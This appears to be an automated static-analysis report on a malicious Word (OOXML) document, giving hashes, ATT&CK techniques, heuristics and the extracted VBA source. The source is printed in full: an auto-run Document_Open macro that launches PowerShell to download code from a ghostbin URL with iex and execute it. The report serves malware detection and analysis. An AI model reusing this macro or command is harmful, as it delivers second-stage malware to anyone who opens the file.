Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 290f0a68b79d3025…

MALICIOUS

Office (OOXML)

18.4 KB Created: 2021-05-25 17:17:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 61c25b78a42b32fa8eeb2fd63e998dd0 SHA-1: 21de8d6f267390938af7ca924d07b092de125dd9 SHA-256: 290f0a68b79d30255871638246d3dd99e7f388bbf9814ea297bdb8caaf5cdfc2
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that automatically executes upon opening the document. This macro, named Document_Open, utilizes WScript.Shell to execute a PowerShell command. The PowerShell command downloads content from the URL https://ghostbin.co/paste/zd5v/raw and executes it, indicating a downloader or dropper functionality. This is a common technique for delivering second-stage malware.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        'Execute and capture the returned value
    CreateObject("WScript.Shell").Exec (sPSCmd)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Public Sub PS_Execute(ByVal sPSCmd As String)
    'Setup the powershell command properly
    sPSCmd = "powershell -command " & sPSCmd
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        'Execute and capture the returned value
    CreateObject("WScript.Shell").Exec (sPSCmd)
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Sub Document_Open()
    PS_Execute ("iex(New-Object Net.WebClient).DownloadString(""https://ghostbin.co/paste/zd5v/raw"");Read-Host -Prompt ""Press Enter to exit""")
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Adam Dean\Documents\Doc2.dotm
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ghostbin.co/paste/zd5v/raw OOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 714 bytes
SHA-256: 0788849a01492ed60b02c8096a8d50b5482cd2c57f14ddaf8630aed63db16dac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub PS_Execute(ByVal sPSCmd As String)
    'Setup the powershell command properly
    sPSCmd = "powershell -command " & sPSCmd
    'Execute and capture the returned value
    CreateObject("WScript.Shell").Exec (sPSCmd)
End Sub
Sub Document_Open()
    PS_Execute ("iex(New-Object Net.WebClient).DownloadString(""https://ghostbin.co/paste/zd5v/raw"");Read-Host -Prompt ""Press Enter to exit""")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: b84f6a1fe40c006669e16c12147f0b083f351691b9b2931d13477d5b87c23635

Open this report in the interactive analyzer, or submit your own file for analysis.